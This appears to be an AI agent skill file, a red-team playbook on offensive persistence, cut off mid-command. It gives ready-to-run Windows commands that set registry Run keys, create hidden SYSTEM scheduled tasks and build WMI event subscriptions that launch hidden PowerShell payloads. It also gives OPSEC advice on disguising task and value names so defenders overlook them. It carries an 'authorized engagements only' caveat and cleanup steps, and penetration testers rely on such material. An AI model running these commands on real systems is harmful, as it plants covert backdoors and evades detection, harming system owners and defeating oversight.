offensive-persistence

# Offensive Persistence

Persistence ensures your access survives reboots, password changes, and routine
maintenance. You plant mechanisms that re-establish a session or re-execute
your payload without requiring a new initial compromise. The choice of
persistence technique depends on your privilege level, the target operating
system, the engagement scope, and the detection risk you can tolerate.

This skill covers both Windows and Linux persistence methods, from simple
registry keys to domain-level Active Directory backdoors. Every technique
here assumes you already have code execution on the target. Apply these in
authorized engagements only.

## Quick Workflow

1. Assess your current privilege level (user-level vs admin/root vs domain admin).
2. Identify the target OS version and security controls in place.
3. Select a persistence mechanism matching your access level and stealth needs.
4. Validate the persistence survives a reboot or logoff event.
5. Document the exact mechanism and location for cleanup during engagement close.
6. Layer multiple persistence methods at different privilege levels when scope allows.
7. Prefer reversible methods that you can fully remove during remediation.

---

## Windows: Registry Autostart

Registry Run and RunOnce keys execute commands at user logon or system startup.
These are the simplest persistence mechanisms and work at both user and admin
privilege levels.

```powershell
# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f

# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f

# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f
```

Using SharPersist for operational convenience:

```powershell
# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add

# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list

# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove
```

Additional autostart locations you should know:

```text
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
```

OPSEC note: Registry Run keys are the first place defenders check. Use
innocuous-sounding value names. Sysmon event 13 (RegistryValueSet) captures
all registry modifications to these keys.

---

## Windows: Scheduled Tasks

Scheduled tasks provide flexible persistence with precise timing control.
They survive reboots and can run as SYSTEM or any specified user.

```powershell
# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f

# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f

# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f
```

SharPersist alternative: `SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon`

Using PowerShell for more control:

```powershell
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
```

OPSEC note: Nest task names under existing Microsoft directories (e.g.,
`Microsoft\Windows\Maintenance\`) to blend in. Event 4698 records task creation.

---

## Windows: WMI Event Subscriptions

WMI event subscriptions are a powerful fileless persistence mechanism. They
consist of three components: an event filter (trigger), an event consumer
(action), and a binding that links them.

```powershell
# Create a WMI event subscription that fires on system startup
# Event Filter -- fires 60 seconds after boot
$filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments @{
    Name = "CoreTelemetryFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 120"
}

# Event Consumer -- execute payload
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Arguments @{
    Name = "CoreTelemetryConsumer"
    CommandLineTemplate = "powershell.exe -ep bypass -w hidden -f C:\ProgramData\Microsoft\telemetry.ps1"
}

# Binding
Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Arguments @{
    Filter = $filter
    Consumer = $consumer
}
```

Cleanup -- remove all three components during engagement close:

```powershell
Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -Filter "Name='CoreTelemetryFilter'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Filter "Name='CoreTelemetryConsumer'" | Re